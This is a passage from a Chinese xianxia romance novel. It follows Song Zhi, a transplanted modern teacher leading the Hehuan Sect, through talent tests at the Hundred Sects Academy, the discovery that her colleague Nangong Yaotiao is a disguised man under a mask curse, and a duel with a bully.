对合欢宗的认知,与此刻的测天赋结果,产生了碰撞与怀疑:这是他们以为的炉鼎吗?
不是说,合欢宗的都是只能任人取用的废人吗?难道,竟然是修炼天才?
有人看着他们眉心的合欢宗合欢花,那是从六岁起就烙在眉心的标记:“……荒谬!这定然是一个意外,还有其他人呢!”
“对!其他人必然不会是这样的天赋。”
陈郁测过之后,脸色更沉了。
越燃走上前,哈哈大笑:“等着吧,看我如何超过你!”
如果说适才是漫不经心的围观,现在广场上的众人,则是屏住呼吸的围观。
浩渺石再次点亮。
越燃有些失望:“五种星图,八境……没到九境。”
没有比过陈郁这个家伙,可恶!
方岗:……你怎么还失望上了!
众人:……
有人手忙脚乱地打开通讯器,将广场上的这荒谬一幕传出去:
《震惊!合欢宗的炉鼎们来砸场子,竟然真的测出来了五星图八境!!》
端木青鸟的压力瞬间大了起来。
她是第一个被宋稚找回来的。
昨天第一班成立的时候,宋稚还要她当班长,还给她编了学号01号。
身为合欢宗的01号,如果比不过02号陈郁和03号越燃,真是丢人了。
端木青鸟紧张地将手放上去。
浩渺石再度亮起。
头顶之上,无数的星星闪耀。
端木青鸟听到方岗麻木地报出:“五星图,九境。”
她的天赋点,拉满了!!
端木青鸟终于睁开眼睛!
她笑得格外灿烂。
激动的心情让她无暇思索,直接冲进了宋稚的怀抱中。
女孩紧紧抱着宋稚的腰肢,小声地说:“谢谢……谢谢宋老师。”
如果当初宋稚没有救下她,她已经成为了那些没有神智的药人,又如何能得知自己竟然有着这样的天赋?
宋稚抱着端木青鸟,手掌揉了揉她的头发,“不客气。”
三个学生测完了天赋。
全场人都服了。
他们的目光,看向了宋稚与南宫窈窕。
这是合欢宗的前掌门与现任掌门。
据说因着最低入合欢宗人数不够,两个人也算入了这次名额中。
按理说,这俩也应该测天赋吧。
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暮色彻底笼罩,黑暗中,亮起了点点星光,那是百宗书院浮动的路灯。
光亮点燃,而宋稚的手放在浩渺石上的时候,一点星光怦溅。
是一点星光,随后点燃了一片星光,再然后点燃了无数的星光。
浩渺石上的星光大盛,与头顶之上无数的星辰产生共鸣。
无数的星线落下,将闭着眼睛沉浸神识海的宋稚笼罩起来。
方岗被无数星线逼的退后两步。
他不可置信地喊出来:“星图乍现!!”
这是只有超九境才能引起的星图共鸣!!!
宋稚并没有感觉。
她只感觉到神识海中无数的星光亮的有些喧闹,一片白茫茫的,照耀的有些刺眼。
等她睁开眼睛,便看到天地之间无数的星线。
宋稚下意识地抬手,手指与星线接触。
一点点温柔的触碰。
那些星线便尽数消散,像是闪耀一瞬又消失的烟火。
正在进行广场测神识直播的修士们都麻了。
超九境,未来的圣人之境。
宋稚,这个人到底是谁啊???
……
南宫窈窕臭着脸。
她不想测神识。
方岗一脸我懂:“你怕丢人,没关系,毕竟圣人之境数百年也不一定出一个,我懂。”
南宫窈窕的脸更臭了。
宋稚笑起来,她抱住南宫窈窕的胳膊摇了摇,“南宫老师,测一测嘛!就差你了。”
全都通过了,才能顺利进入百宗书院,才能得到青云榜头名,才能改变成为炉鼎的命运呐。
南宫窈窕被她晃得有些愣了。
其实在一个月前,宋稚抱她胳膊之前,她始终没有过肢体接触。
直至宋稚这个没脸没皮的来了,天天粘着她。
不知道从何时起,她的心底有些渴望,渴望能与宋稚肢体接触。
南宫窈窕还没有说什么,身体一僵:
宋稚竟然抬起双臂,轻柔地抱住了她。
女子的声音格外的温柔:“不紧张,南宫老师,你不要怕,即便是天赋没有那么高,你也是独一无二的南宫窈窕。”
“有我陪着你呢。”
宋稚心知南宫窈窕是紧张了。
南宫窈窕如此别扭,她只好耐心哄一哄。
身为一个资深教师,当然知道一个猴有一个猴的拴法。
南宫窈窕就吃温柔的鼓励这一套。
果然,刚抱住南宫窈窕哄了一会儿,南宫窈窕说:“我测。”
……
方岗怀疑浩渺石出错了。
他紧急向圣人堂打了报告,说浩渺石错了。
圣人堂那边传来消息,浩渺石没错,圣人们也在关注着测试天赋的事情,让他继续。
方岗恍恍惚惚地看着南宫窈窕上前。
高个子的粉裙女修一脸不耐,方岗自动将之理解为她的天赋定然不好,所以拿不出手,脸色才这么臭。
直至……
他麻木地看着再次出现的威慑天地的星图。
毛笔上写下:南宫窈窕,五星图超九境。
方岗麻木地说:“恭喜你们,未来的青云榜上,会有你们的名字了。”
五星图八境九境超九境的人,本次百宗书院大约有一百多名。
这等天赋,再加以三年的修行,青云榜前九十九名,已经没跑了。
“不,”宋稚微笑:“我们的目标,是青云榜头名!”
14.办个走读
“是这样的,宋掌门,”卢元道说:“学舍中的住宿早就安排好了,现下是腾不出来空的房间了。”
卢元道是一个看上去有些仙风道骨的老头,他负责百宗书院的杂事。
当宋稚一行人测完神识,皆数通过之后,就正式成为百宗书院的弟子。
接下来就是领钥匙,前往住宿之地。
天色已经完全黑了。
卢元道在夜幕下,向众人说明了情况。
今年本来多准备了住宿,然而在合欢宗来之前,就已经超额,他好不容易安排了,实在是没想到合欢宗还有人来。
宋稚哦了一声。
她看向南宫窈窕:“其实我就是例行过来看看,倒也没想住在这里。”
百宗书院的住宿,是给整日呆在书院的学子们安排的。
他们来自于五大国各个宗门,在此求学,自然要住在这里。
然而合欢宗的众人住的很近,她还有很多文化课知识要传授给学生们。
本来还想问问如何不住宿,没想到就住不下了。
宋稚:“那我们就办走读吧!”
卢元道:……啊?
本以为宋稚会为难,本以为合欢宗的几个人会失落,本以为会向他求情……
他们怎么不按照套路来?
他看着宋稚喜笑颜开,转身就走。
不是……
这个合欢宗掌门不会是个傻的吧?看不出来这是要给她下马威吗?
她怎么说不住就不住了?
南宫窈窕走在后面,看着卢元道难看的脸色,唇角微勾。
宋稚才没工夫揣测别人的心思,她列表里规划了一堆事情,都在等着去做。
不过……
连负责百宗书院杂事的管事都这么使绊子,可见对合欢宗众人的不欢迎。
接下来的日子,恐怕没那么容易了。
宋稚走在最前面。
她一扭头,看不到南宫窈窕了。
宋稚扭头:“南宫老师!”
“诶。”
南宫窈窕应了一声,跟了上去。
……
忙碌了一天,敲定了入学之事,宋稚催促众人抓紧时间洗漱睡觉。
她收拾完之后,在灯下看着今日拿到的书院课表,开始做合欢宗内部的课表。
书院的课程,并不算是复杂,大多是分为体术、幻术、法术等,根据自己的修行,选择适合自己的课程。
烛光摇曳。
窗外有轻微的哒哒哒声。
宋稚抬头,看到高大的粉裙女子屈指翘着窗户。
宋稚:???
宋稚:“你怎么不睡?”
南宫窈窕微笑:“看你没睡。”
宋稚眼睛弯了弯:“这么关心我?”
“不,我是关心我的面具。”南宫窈窕伸手:“把面具还我。”
宋稚站起身来,伸了个懒腰:“不还。”
她耍无赖。
南宫窈窕险些要被气笑了:“你凭什么不还?”
宋稚:“因为我脸皮厚啊!”
目前的当务之急,是三年后将第一批三个学生送到青云榜,摆脱成为炉鼎的命运。
现在其他的学生们还找不回来,而新的被开脉时候定为炉鼎的新人源源不断,宋稚的时间紧任务重。
只要能让三个人改变命运,就是一个新的时代的开始。
再者,今天测试灵根的时候,已经明显看出来,他们并不像是外界以为的废物。
实际上,他们的天赋比寻常的修士要高的很多,甚至有日后成为圣人的可能性。
而这些人,在六岁的时候就被打上烙印,宣布是日后的炉鼎,被所有人唾弃,岂不是很奇怪吗?
宋稚好奇道:“南宫,你也是六岁开脉的时候被认定为合欢宗的吗?”
南宫窈窕背靠着墙壁,她看着头顶的月色:“是。”
“合欢宗的宗主有什么条件?为什么我会被选为合欢宗主?你又是为什么成为宗主的呢?”
这些时日马不停蹄,宋稚还没有仔细问过。
南宫窈窕:“哦。等他们被挑选完,剩下的修为最高的那个,就是宗主了。”
宋稚:???
这么简单的吗?
她看向南宫窈窕:“你这一百年都做什么了呀?为什么没有被挑选?”
南宫窈窕打了一个哈欠:“这一百年,我可是很辛苦的……睡觉休息呢。”
“至于为什么没有被挑选,其实并不是没有挑选我,而是选择了我当炉鼎的修士,都死了。”
一阵冷风吹过。
深夜里,南宫窈窕的话,说的让人后背发寒。
什么叫做都死了?
南宫窈窕的眼睛里是冷意:“他们说我克夫。”
宋稚:“你还克夫呢?”
南宫窈窕:“嗯。”
宋稚怜爱地看着南宫窈窕:“克夫是封建迷信。我们唯物主义者不相信这种的哈。”
南宫窈窕挑了挑眉:“看来你不害怕。”
那是当然!
南宫窈窕说:“合欢宗的人都是六岁开脉的时候被选进来的,你是一个例外。”
“说实话,发布那条消息不是我想发布的,而是身为合欢宗宗主冥冥之中的感应,它在提示我,该寻找下一个掌门了。”
宋稚等了一会儿,南宫窈窕没说下去。
她探头看去,便看到一道轻微的风拂面,南宫窈窕已然从窗户翻了过来,拉开椅子,坐在了宋稚的身边。
“你是无根之人。”
南宫窈窕一向散漫的眸子里带着些认真:“他们在观察着你。”
这话说的。
宋稚:“他们是谁啊?”
南宫窈窕:“圣人们。”
“今日所有的事情,绝非一个圣人能决定的,他们也在观望着。”
“宋稚,你比想象中更为重要。”
听着这样郑重的话语,宋稚却没有任何波动。
她揉着自己酸涩的眼睛:“别了,我可不想当优秀教师了,会累死没命的。”
她的声音放低了些许:“我们班学生还在等我呢……我该给他们讲算盘的使用了。”
宋稚的手指无意识地拨弄着手中的纸张。
在写完合欢宗的计划之后,她下意识地写了几笔教案。
三年后,她应该能回现代吧。
“那你怎么样才肯把面具还给我呢?”南宫窈窕说。
“三年后吧,”宋稚抬起头看她,笑眯眯地抬手,拉住了南宫窈窕的手:“陪我三年,一起战斗到最后,我们看一看孩子们的成就,也看看我们的成就,好不好?”
温热的手,拉住了自己的手。
触感轻柔,带着些温热。
南宫窈窕下意识地想要反握住宋稚的手。
不知道从何时开始,她开始依赖宋稚的气息。
糟糕。
这一定是身为合欢宗人的本能。
给一点点甜头,就会让人魂牵梦绕。
南宫窈窕克制自己,推开了宋稚的手。
“你自从被打上合欢宗烙印之后,不觉着自己有些奇怪吗?”
宋稚挠了挠头,“没觉着啊?对了,这个烙印会影响人吗?”
她抠了抠自己的眉心。
合欢宗的烙印是合欢花,在自己眉心里出现,并没有任何凸起,也没有任何存在感。
但是她知道它就在那里。
“会。”
南宫窈窕说:“我有做一些调查,烙印会影响人的神智,让人变得更加渴望爱恋,渴望与他人在一起。”
“在一开始,你也看到了,端木青鸟他们根本不会听你说的话,他们会在烙印的影响下,宁愿去选择心中所爱,将自己的性命交给另外一个人。”
宋稚若有所
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思。
她像是想到什么,莞尔看向南宫窈窕:“南宫老师,你之前说你根本没有兴趣去管他们,现在看来,这一百年里,恐怕并非你所说的那样,而是进行过努力,却发现根本改变不了吧。”
南宫窈窕默默看她。
谁说宋稚傻的?她明明很聪明。
宋稚难得能与南宫窈窕讨论这些,她兴致勃勃道:“说起来,我确实感觉到心底的爱意在疯狂的泛滥,我还以为是我重燃了对教师的本心,将孩子们当做了自己的孩子呢……也确实对你很亲近,想要贴贴你抱抱你……”
她摸着下巴:“不过这种感觉还不赖,有一种无处释放的爱意。”
南宫窈窕:“那是因为你的合欢花印记时日尚短,随着时间的增加,你就会从享受这些爱意,变成控制不住这些爱意,最终被这些爱意所控制。”
“这样啊?”宋稚眨了眨眼,“那就更要好好修行了!”
赶在失去理智之前,将这些恋爱脑们都解救出来!
南宫窈窕叹为观止:“……你是真的心大。”
仿佛没有任何事情,能难倒宋稚。
宋稚弯了弯眉眼:“那南宫老师可以说一说,你为什么执着于你的面具吗?”
她轻声道:“以及……为何你总是深更半夜,走出合欢宗的势力范围吗?”
这是认真地问话。
两个人之间的气氛为之一滞。
南宫窈窕平静地看向宋稚:“你跟踪我?”
“跟踪?不不不,”宋稚摆手,她找出来地图:“是这个神奇的地图。”
合欢宗宗主有一个地图,可以看到宗门范围内所有人的踪迹。
宋稚想,兴许是为了掌控这些炉鼎的活动范围。
她晚上失眠的时候,就会看到南宫窈窕并不在合欢宗。
等她睡醒了,南宫窈窕就那么若无其事地回来了。
一次两次倒也罢了,偏偏南宫窈窕总是不在。
宋稚在她的架狙瞭望点悄悄埋伏观察过,看到南宫窈窕有时候会与同样戴面具的黑衣人接头。
“你想如何?”
南宫窈窕低垂眉眼。
合欢宗的炉鼎被选到合欢宗后,就不能与原本的宗门有任何联系。
被人发现她与魔宫有联系,这是把柄。
“我没想如何呀?”
宋稚摊手,有些无辜道:“我只是怕你离职而已!”
她叹道:“教师队伍不扎实,可怎么带学生上分呐!”
南宫窈窕:……
都这时候了,你看不出来我的杀意吗?怎么还在想留住老师的事儿啊!
宋稚兴致勃勃:“既然你跟外界有联系,我有一项艰巨的任务交给你。”
“什么?”
南宫窈窕心道:来了。她要暴露企图了。
宋稚:“我翻看了宗门内的秘籍,都不是什么正经秘籍。”
合欢宗的秘籍多是媚术,如何取悦道侣之类的,这种东西宋稚都扔了。
这些都不是正经课本。
既然中州大陆发给合欢宗的课本很烂,那么宋稚就决定编写校供课本。
想要编写校编课本,就需要大量的其他宗门秘籍。
这个工作工程量大,宋稚本以为可以寄希望于到了百宗书院之后,能去藏书阁看一看,却发现合欢宗的人只能得到初级权限,即便宋稚是合欢宗掌门,毕竟也是合欢宗的人。
初级权限的书籍,能看的太少了。
既然明面上要将他们都培养成不知道思考的文盲,那么说明想要得到秘籍极为困难,宋稚想要南宫窈窕做的,就是得到各种书籍。
南宫窈窕:啊。
她身上的杀意散去些许:“……就为了要书啊?”
“不然呢?”
宋稚迷惑了。
南宫窈窕:……
真是别致的要挟。
她说:“行。”
15.看够了吗
南宫窈窕不但没有辞职成功,还多了一个书籍采办的职务。
幽密的包厢中,她闭着眼睛揉着眉心,长长地叹息一声。
南宫窈窕的对面,单膝跪地的人谨慎地抬眼看她一眼,又迅速地低下头去:“主上,那定好的这个月与刑宗主的会面?”
“让大长老去吧。”
南宫窈窕大长腿随意搭着,身体往后仰,贴在了椅子里,脸上满是烦躁。
“是……”
童山心底惊诧,这种重要的事情,主上竟然交给了大长老。
“对了。”
童山精神一振,主上要教导什么?是不是要去杀圣人了?
“把魔宫秘籍都备份一份,全都运过来 。”
童山:……
“是。”
童山脸上戴着面具,他无意识地摸了一下自己的面具,忍不住问道:
“主上似乎没有戴面具?”
这些时日,主上跟自己的会面,主上都没有戴面具。
这极为反常。
身为魔宫的人,怎么能不戴面具呢!
“面具被抢走了。”
南宫窈窕叹了一口气。
“谁!!杀了她!”
童山情绪激动!
他想过自己的面具有朝一日会被人抢走,却从未想过主上的面具竟然会被抢走!
这一瞬间,童山激动的响起来了无数种杀了对方的方法!
“算了。”
“留着她的小命,我该杀时会杀的。”
童山迟疑了一会儿,谨慎道:“毕竟……拿下面具的人,会是定情一生之人。”
魔宫的规矩,便是如此。
即便是主上,也得遵守这样的规矩。
“更何况,面具的特殊诅咒,主上应该明白!”
童山急切道:“早杀了为妙!”
南宫窈窕终于不揉眉心了。
她睁开眼睛,那双狭长的眼睛里流转森冷的光。
“本尊自有打算。”
童山心头悚然一惊,他不敢再说话,悄无声息地消失了。
包厢里空落寂静。
南宫窈窕感觉到身边格外的……凄冷。
离开合欢宗的范围,他开始有些想她。
南宫窈窕想了想,指尖灵气一点,凝聚成一团黑色的烟雾。
她踏入了烟雾中。
她想看看宋稚现在在做什么。
黑雾散去,白色的雾气弥漫。
南宫窈窕站在湿润里的潮气中,麻木地听着宋稚的尖叫:“你什么时候冒出来的!”
温泉水洒落他身上。
南宫窈窕扭头就要走。
潮湿的手从温泉里伸出来,一把抓住了她的裙摆。
“南宫,你去哪儿?一起泡温泉啊!”
该死。
谁能想到此刻的宋稚,竟然在泡温泉啊!
……
宋稚废寝忘食地修行。
身为一个社畜,她一身的职业病,苦不堪言。
自从筑基,近视眼都好了很多,宋稚燃起来了对修行的兴趣。
经过夜以继日地修行,她可以同时调动起三颗算盘珠子。
而这几日将算盘珠子灌注满灵气之后,也就意味着,她有了三倍的灵气同时调用。
当三颗珠子的灵气满了之后,系统提示她的功法有了更新。
宋稚点开:“分身术!”
【分身术:根据体外灵丹的灵气充盈度,可以凝聚出与自己灵气相同的分身。】
【该分身的控制与神识海强度有关系,该分身承伤会汇总到本体,但伤害减弱。】
宋稚兴致勃勃,她抱着算盘,运转灵气,于是她的面前出现了三个与她一模一样的人。
像是复制粘贴出来的。
乍然一看,还有些令人发毛。
宋稚很快就适应了:在她发现可以让宋稚1号去写教案,让宋稚2号去查寝,让宋稚3号去守夜。
这简直太棒了!
她在现代的时候时间不够用,常常幻想将每天时间拉长到48小时就好了,现在直接能将人分成四份!
这么一亢奋,造成的结果就是,在分身术灵气耗尽之后,她的身体承担了三倍的疲劳感。
宋稚浑身都在疼,脑子里晕晕乎乎的,是极度疲惫后的痛苦。
她想睡又睡不着,便干脆去泡温泉解乏。
没泡多久,就感觉到温泉里有了一团黑雾,旋即看到了高大的粉裙女子。
是南宫窈窕。
她也睡不着吗?
看着南宫窈窕转身就要走,宋稚扑腾着将水怦溅到她身上。
南宫窈窕还是不看她,继续要走。
宋稚可不是当初刚来合欢宗的凡人!
她的指尖飞出一道灵气,一把缠绕在南宫窈窕的脚踝上:“喂!一起泡啊!”
此刻,一起泡澡,正是交流感情的好机会啊!
宋稚还要再劝劝南宫老师,不要离开合欢宗啊!
“砰。”
南宫窈窕被宋稚偷袭,一下子摔在温泉中。
泛着热气的水将南宫窈窕都淋透了。
宋稚极为熟稔地贴上去,哈哈一笑:“来都来了,南宫,我来帮你脱了!”
南宫窈窕瞬间湿透了。
她脸色在雾气中竟然发白,看上去亦正亦邪,神情莫测。
宋稚的手贴在南宫窈窕的胸上时候,还没反应过来什么。
“好平的胸!”
没有预料中的胸口柔软,却极为有弹性的,平坦的,却又带着些硬硬的手感。
南宫窈窕身形紧绷,将自己的身体往后拉,竭力避开宋稚。
宋稚不满:“平胸也没什么可自卑的嘛!”
南宫窈窕几乎呼吸不上来了。
她垂头看着近在咫尺的女子,从齿缝里蹦出来两个字:“松手!”
宋稚一向锲而不舍。
“让你帮忙找的书怎么样了?”
“……找到了。”
宋稚:“我就知道你半夜偷偷摸摸是干大事的,这不是有用处了么。”
她还想跟南宫窈窕谈谈心,这是难得的私人相处的时间。
“你别躲啊,你躲着我做什么?”
南宫窈窕往旁边闪避,露出来结实有力的肩膀。
宋稚眼睛都看直了:“看不出来,你胳膊肌肉好流畅,是偷偷练过了吧?”
南宫窈窕挣扎着想要逃走:“……好说,以后带你练。”
又被宋稚拉回来。
“有空一定带我练练啊,对了,”宋稚说:“你觉着我让端木青鸟管那两个小子如何?”
“端木青鸟如今懂事了不少,陈郁整天遮面不说话,越燃又整天叽里呱啦说个没完,正好青鸟可以管一管他们俩。”
“挺好的……”南宫窈窕紧紧咬着后槽牙。
她没想到宋稚的灵气这么古怪,怎么都解不开这个禁制。
南宫窈窕:“有什么事儿出去再说,你放开我。”
“你害羞了?都是姐妹!!”
宋稚说:“这是我们俩难得的姐妹相处时间,你怎么这么对我!”
宋稚有些委屈。
她以为来到合欢宗这么久,又跟南宫窈窕并肩战斗这么久,南宫窈窕会将她当做姐妹了,没想到两个人还是这么生分,南宫窈窕看到自己就要跑不说,连泡温泉都要躲着自己。
是嫌弃她妈?
宋稚霍然站起身来,想要冲着南宫窈窕走过去。
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不行,姐妹之间,没有什么过不去的坎,她得好好跟南宫窈窕聊一聊。
看着宋稚再次逼近,南宫窈窕立刻站起身来,就要上岸。
宋稚一把抓住南宫窈窕。
脚下一滑,她直接撞进了南宫窈窕的怀中。
时间凝滞。
温泉中,宋稚后知后觉:“……你。”
“这是什么?”
她的瞳孔微缩,半晌,这才慢吞吞往后退去。
她整个人下沉到温泉水中,白色雾气遮盖住了她通红的脸。
南宫窈窕眼睛一闭。
她轻声道:“……没错。”
宋稚:“我需要一个解释。”
缠绕着南宫窈窕的灵气默默松开了。
哗啦啦。
南宫窈窕从温泉里走出去,她轻声道:“我在外面等你。”
……
宋稚脸发红。
她没想到南宫窈窕是……是男子啊!!
两个人当姐妹这么久,泡泡温泉怎么了!
摸到平胸的时候,她还劝南宫窈窕不要自卑来着!
天哪!!
宋稚快速地擦干身体,换上了新的衣裳。
等她擦干头发出去的时候,看到了等在外面的高大粉裙女子。
南宫窈窕也擦干了头发,换了一套衣裳。
宋稚眼神乱飘,一会儿看着南宫窈窕的衣裳,一会儿看着南宫窈窕的脸,一会儿看着他的腿,一会儿看……
南宫窈窕被她的眼神看了半晌,“看够了吗?”
“没有。”
宋稚下意识地想要抱着南宫窈窕的胳膊回房间,却又意识到什么,半途拐弯揉了揉自己的鼻子:“咳咳咳……那个,我们去房间里说吧,跑完温泉不要在室外。”
南宫窈窕默不作声地跟着宋稚回到了房间。
宋稚尴尬地站在房间里,坐也不是站也不是,又后悔刚才说了邀请。
现在可不是姐妹,而是孤男寡女!
看着宋稚抓耳挠腮的样子,南宫窈窕揉了揉眉心,无奈道:“你现在,很像是一个猴子。”
宋稚:???
“有吗?”
“嗯,有,”南宫窈窕泰安自若地坐下来,给自己倒了一杯茶,又给宋稚倒了一杯茶。
“好了,坐下来说吧。”
这么一来,宋稚便消解了些许尴尬。
她气势汹汹地坐下来,表情严肃:“我们有必要讨论一下你男扮女装打入合欢宗内部欺骗我的事情!”
南宫窈窕轻笑一声:“你没有问过我是男是女吧。”
宋稚:???
她确实没有问过。
任谁看去,南宫窈窕都像是一个女孩子啊!
她太美了!!
南宫窈窕伸手:“把面具给我,我就说给你听。”
还是面具?
宋稚摇头:“那我不听了,我宁愿还是把你当做姐妹。”
听一个秘密,还是要一个老师,宋稚身为合欢宗第一高级中学的校长,还是分的很清楚的。
眼下她手底下就这一个干活的,可不能把她放跑了。
南宫窈窕:……
她险些被气笑了!
“行啊你宋稚,那我不说了。”
她站起身来就走。
宋稚拦住了她:“除了这个,别的可以谈一谈!”
宋稚深知不能什么都不妥协。
除了跑路的事儿,别的都能谈。
“除了这个,别的面谈。”
宋稚与南宫窈窕大眼瞪小眼。
半晌,她犹犹豫豫道:“……那好吧,还给你半块面具,行吗?”
南宫窈窕:……
服了她了!!
16.一线生机
宋稚拿出来面具。
她前几天把玩面具时候发现的,这面具真的能掰开!
许是为了方便使用,面具其实是好几个部分组合起来的。
根据使用习惯不同,分为全部遮挡的面具,半面遮挡的面具。
宋稚掰下来下半张面具还给南宫窈窕:“给你这个,行吧!”
南宫窈窕:“……”
没见过这么抠门的人!
怎么还抵押半副面具!
“好了,可以告诉我了吧!”
宋稚:“你真名叫什么?”
南宫窈窕道:“南宫遥迢。”
当初南宫窈窕说魔宫多是男子,也有女子,这话是真的:
当魔宫之人出现在世人面前的时候,一定是戴面具的。
面具能遮挡他们的面容,也带来了直观的后果:看到面具便知道是魔宫的人出没。
南宫窈窕为了掩人耳目,便摘下面具,以女装行事。
宋稚:“所以你真的在密谋什么吧!”
她饱看无数电视剧,自然知道南宫窈窕一定在密谋什么大事!
不然怎么会整天神秘兮兮地离开合欢宗,又不告诉她去哪里了!
南宫窈窕无奈地扶住额头。
怎么会有傻子直接问别人在密谋什么啊??
“总之……”
南宫窈窕,或者说南宫遥迢说,“面具是魔宫的规矩,失去了它我就不能回魔宫。”
“你现在还给我半副,那也无济于事。”
南宫遥迢说,“更何况,面具有着极为特殊的意义。在你手中的时间越久,对我的影响越大。”
“影响?”宋稚是真的不知道有什么影响。
不就是一副面具?
南宫遥迢沉默些许,长叹一声。
面具对于魔宫的人来说,是极为重要的事情。若非他对宋稚放松了警惕,宋稚又绝非普通人,他是没想到面具会落入其他女子之手的。
“当年魔宫创立者,乃是一个被伤透了心的男人。”
南宫遥迢说,魔宫的创立,与伤心的情事有关。
多年前,创立魔宫老祖苦陷情爱中,他伤痕累累之后,认为所有的一切情爱苦痛都是因为他的美貌。
他决定要开创一个没有女子的宗门,魔宫只收男子,每个男子都有一个唯一的面具,并且不能取下面具。
而若是被女子取下面具,就失去了身为魔宫之人的资格,会受到诅咒。
这种诅咒,在被女子拿到面具的那一刻,就会生效。
宋稚傻眼了:“什么诅咒!?”
她没感觉啊?
南宫遥迢看上去极为疲惫:“所有的面具乃是魔宫的特殊秘石所做,说是诅咒,其实是一种蛊毒。”
按照魔宫老祖的想法:既然你决定摘下面具,又被女子拿到面具,那么此刻便是魔宫的叛徒,自然会被情爱所吞噬。
就让你这叛徒尝尝被爱人背叛的痛苦。
这蛊毒,乃是情爱蛊毒。
换句话说,宋稚拿了面具这么久,已经是诅咒中认定的情爱之人。
老祖认为情爱乃是虚幻之事,只有最深沉的爱才可以解毒。
可是哪儿能奢求这种真爱呢?必死无疑罢了。
对于宋稚的影响,可谓是微乎其微,然而对于南宫窈窕来说,若非他修为深厚,此刻得不到宋稚的爱意,早就死了。
士之耽兮,犹可说也。女之耽兮,不可说也 !
便是这个道理。
宋稚理了理思绪,默默地将另外一半面具拿出来:“还给你。还有……”
她小声说:“对不起……”
她没想到魔宫的面具竟然有这样的含义,初时她只是不想让南宫遥迢走而已。
宋稚明白自己闯祸了。
现在如何是好?
“杀了你,也许还有一线生机。”
南宫遥迢说。
宋稚往后退了一步:“啊?要不然换个方法?我还得回去当社畜呢。”
“嗤。”
南宫窈窕说:“你倒是惜命。”
他说:“要不然,试着爱我吧。”
宋稚的瞳孔微微睁大。
她一瞬间,有些不太明白南宫遥迢的意思,又似乎明白了什么。
这些时日,宋稚完全将南宫当做亲密无间的姐妹。
她可以为了南宫窈窕做很多事情。
然而,姐妹情是有了,男女情可没有啊!!
“你让我冷静冷静……”
宋稚觉着南宫窈窕不太对劲。
按理说,这种情况下,南宫想的是如何解脱这诅咒吧,为什么竟然要宋稚努力爱上他?
他不正常!
南宫遥迢站起身来,他的身形高大,微微俯下身,几乎将宋稚圈在怀中。
宋稚从未觉着南宫遥迢的声音如此低沉,在她的耳边炸响:
“我好像有些喜欢上你了,如果你不喜欢我,我只好把你杀了。”
宋稚:……
救命!!
事业刚刚开展,内部怎么就起火了!
宋稚与南宫遥迢的眼神对视。
她意识到他说的是真的。
宋稚咽了一口吐沫:“我……尽量。”
-
“怎么感觉,你跟南宫的气氛怪怪的?”
吃早饭的时候,端木青鸟看了看宋稚,又看了看南宫窈窕。
她拿着筷子,沉思:“跟以前不太一样。”
一早上,宋老师就躲躲闪闪的。
之前她都是坐在南宫老师旁边的,两个人像是连体婴儿一样形影不离,现在宋稚老师却是坐的距离南宫老师最远的!
至于南宫窈窕,之前便是整天一张厌世脸,弥漫着淡淡的厌烦,现在还是那样。
不同的是,南宫老师时不时抬眼看宋稚一眼,邀请她过来贴着坐。
宋稚老师都拒绝了。
宋稚干笑两声,“哪儿有!你想多了!没有的事儿!”
端木青鸟迷惑:“没有?你们是不是吵架啦?”
宋稚矢口否认。
一直埋头吃饭的越燃抬头:“肯定是吵架了。”
陈郁点头:“我也这么觉着。宋老师身上有一种想要躲避的气息。”
宋稚:???
一向不爱说话的陈郁怎么也凑热闹了?
南宫窈窕含笑看着宋稚,她招了招手,“孩子们都这么说了,过来我身边坐吧。”
宋稚:……
这个画面,好奇怪啊!!
她抱着碗,不情不愿地坐了过去。
宋稚低着头不敢看南宫窈窕,视野里,却看到粉色裙摆贴着裙摆。
修长的手指伸过来,触碰到了宋稚的脸颊。
宋稚身体僵硬,动也不敢动,南宫窈窕伸手碰她的脸做什么?
她僵硬着抬头,看到南宫窈窕眼睛弯弯,“你脸上弄上一点脏东西。”
宋稚麻木地说:“谢谢。”
心思各异的早饭吃完,就要去百宗书院了。
宋稚罕见地沉默。
路上只有越燃一直叨逼叨的声音。
高大巍峨的建筑层层耸立。
自打到了修仙界后,宋稚是第一次见到这样的建筑。
她欣赏了半天,就要进入百宗书院的大门,没想到,却被人拦住了。
为首的人吊儿郎当,带着几个狐朋狗友,没个正型。
沃伦:“我还以为是我听错了,没想到真的,这些合欢宗的炉鼎们竟然也敢到百宗书院了。”
越燃一下子就被激怒了。
他跳出来:“你算是什么狗东西?也敢拦我们的路?”
越燃的瞳孔里,有火在燃烧。
沃伦冷笑:“狗才觉着别人是狗,你又是什么品种的狗?”
越燃大叫一声,就要冲过去,却被陈郁拎着胳膊。
陈郁阴沉地盯着沃伦:“你,必须死。”
宋稚:……
孩子还是年轻,轻而易举就被激怒了。
等等,陈郁果然还是想当杀手的吧!动不动就要杀人。
“遇到这种事情,不要急,”宋稚拍了拍越燃的肩膀,又拍了拍陈郁的肩膀。
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“在高手的较量中,沉得住气的,往往就是能活到最后的那一个。”
没想到陈郁看上去这么沉稳,却是杀意最重的那一个。
南宫窈窕懒懒地往后退了一步。
显然不打算参与这些。
端木青鸟:“宋老师,我们上吧!”
宋稚确信:“不用担心,一般来说,这样出场的都是炮灰。”
三个人看着宋稚:啊?
宋稚:“我的意思是,我一个人就可以打三个。”
沃伦大笑起来:“你?”
他当然看出来了,这几个人里,就宋稚修为最低。
宋稚才刚刚筑基,就这点实力,还跟他叫板?他可是金丹期!
况且,他们本就不欢迎合欢宗的人。
现在找掌门打,更是能让他们都灰溜溜地滚蛋。
沃伦跃跃欲试,宋稚也跃跃欲试。
她苦练了好些天,不知道自己到了什么水平,正想要试试。
在沃伦的灵剑杀气腾腾地飞来时候,宋稚亦是抄起来了她的金算盘。
围观的人笑出声来。
沃伦是剑修,剑修可没打算给这些毫无自保能力的合欢宗炉鼎们手下留情,用的是最强的剑招,宋稚不想着如何化解,反倒是拿出来了算盘。
这是等死吗?
笑容凝固。
宋稚的金色算盘珠子飞出来,与宋稚牵扯出金色的细线。
宋稚快速布阵,困字阵顿时将沃伦困在阵中。
沃伦神色一凝,竟然是个阵修。
然而这一剑,阵修落了后手,想要破剑意已经来不及了。
宋稚显然不这么想。
在困阵将沃伦锁定的时候,她能调动的三枚金色的算盘珠子灵气全都迸发出来,化作了与她一样的人形。
每个宋稚手里,都拿着一把算盘。
分身术!
第一个最前面的宋稚以金算盘硬生生地接下了沃伦的剑意!
剑意由盛转衰,第二个宋稚再次抄起来算盘,这衰落的剑意顿时烟消云散,灵气化作星芒消失。
